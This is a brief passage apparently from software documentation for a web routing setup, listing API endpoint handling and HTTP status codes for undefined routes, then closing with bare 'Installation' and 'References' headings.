- **API Detection**: Special handling for API endpoints
- **Error Handling**: Proper HTTP status codes for undefined routes

This approach provides flexibility while maintaining simplicity and understandability.

Chapter V: Installation

References